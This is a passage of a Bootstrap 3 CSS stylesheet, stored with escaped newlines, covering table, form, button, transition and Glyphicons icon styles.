colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n.table > tbody + tbody {\n  border-top: 2px solid #ddd;\n}\n.table .table {\n  background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n.table-bordered {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-child(odd) > td,\n.table-striped > tbody > tr:nth-child(odd) > th {\n  background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover > td,\n.table-hover > tbody > tr:hover > th {\n  background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  position: static;\n  display: table-cell;\n  float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n  background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr.active:hover > th {\n  background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n  background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr.success:hover > th {\n  background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n  background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr.info:hover > th {\n  background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n  background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr.warning:hover > th {\n  background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n  background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr.danger:hover > th {\n  background-color: #ebcccc;\n}\n@media (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-x: scroll;\n    overflow-y: hidden;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    border: 1px solid #ddd;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n  display: inline-block;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  /* IE8-9 */\n  line-height: normal;\n}\ninput[type=\"file\"] {\n  display: block;\n}\ninput[type=\"range\"] {\n  display: block;\n  width: 100%;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n}\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n  background-color: #fff;\n  background-image: none;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n  -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n          transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n          box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n  color: #999;\n}\n.form-control::-webkit-input-placeholder {\n  color: #999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n  background-color: #eee;\n  opacity: 1;\n}\ntextarea.form-control {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n}\ninput[type=\"date\"] {\n  line-height: 34px;\n}\n.form-group {\n  margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n  display: block;\n  min-height: 20px;\n  padding-left: 20px;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n  display: inline;\n  font-weight: normal;\n  cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\n.radio[disabled],\n.radio-inline[disabled],\n.checkbox[disabled],\n.checkbox-inline[disabled],\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"],\nfieldset[disabled] .radio,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n  height: auto;\n}\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n  height: auto;\n}\n.has-feedback {\n  position: relative;\n}\n.has-feedback .form-control {\n  padding-right: 42.5px;\n}\n.has-feedback .form-control-feedback {\n  position: absolute;\n  top: 25px;\n  right: 0;\n  display: block;\n  width: 34px;\n  height: 34px;\n  line-height: 34px;\n  text-align: center;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline {\n  color: #3c763d;\n}\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n  color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline {\n  color: #8a6d3b;\n}\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n  color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline {\n  color: #a94442;\n}\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n.has-error .form-control-feedback {\n  color: #a94442;\n}\n.form-control-static {\n  margin-bottom: 0;\n}\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .input-group > .form-control {\n    width: 100%;\n  }\n  .form-inline .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    padding-left: 0;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    float: none;\n    margin-left: 0;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n.form-horizontal .control-label,\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.form-horizontal .form-control-static {\n  padding-top: 7px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    text-align: right;\n  }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  top: 0;\n  right: 15px;\n}\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus {\n  color: #333;\n  text-decoration: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  pointer-events: none;\n  cursor: not-allowed;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  opacity: .65;\n}\n.btn-default {\n  color: #333;\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus,\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n  color: #333;\n  background-color: #ebebeb;\n  border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n  background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default .badge {\n  color: #fff;\n  background-color: #333;\n}\n.btn-primary {\n  color: #fff;\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n  color: #fff;\n  background-color: #3276b1;\n  border-color: #285e8e;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n.btn-primary .badge {\n  color: #428bca;\n  background-color: #fff;\n}\n.btn-success {\n  color: #fff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success:hover,\n.btn-success:focus,\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n  color: #fff;\n  background-color: #47a447;\n  border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n  background-image: none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n.btn-info {\n  color: #fff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info:hover,\n.btn-info:focus,\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n  color: #fff;\n  background-color: #39b3d7;\n  border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n  background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n.btn-warning {\n  color: #fff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n  color: #fff;\n  background-color: #ed9c28;\n  border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n.btn-danger {\n  color: #fff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n  color: #fff;\n  background-color: #d2322d;\n  border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n  background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n.btn-link {\n  font-weight: normal;\n  color: #428bca;\n  cursor: pointer;\n  border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #2a6496;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #999;\n  text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n  padding-right: 0;\n  padding-left: 0;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity .15s linear;\n          transition: opacity .15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  display: none;\n}\n.collapse.in {\n  display: block;\n}\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height .35s ease;\n          transition: height .35s ease;\n}\n@font-face {\n  font-family: 'Glyphicons Halflings';\n\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n  content: \"\\2a\";\n}\n.glyphicon-plus:before {\n  content: \"\\2b\";\n}\n.glyphicon-euro:before {\n  content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n  content: \"\\e012\";\n}\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n  content: \"\\e044\";\n}\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n  content: 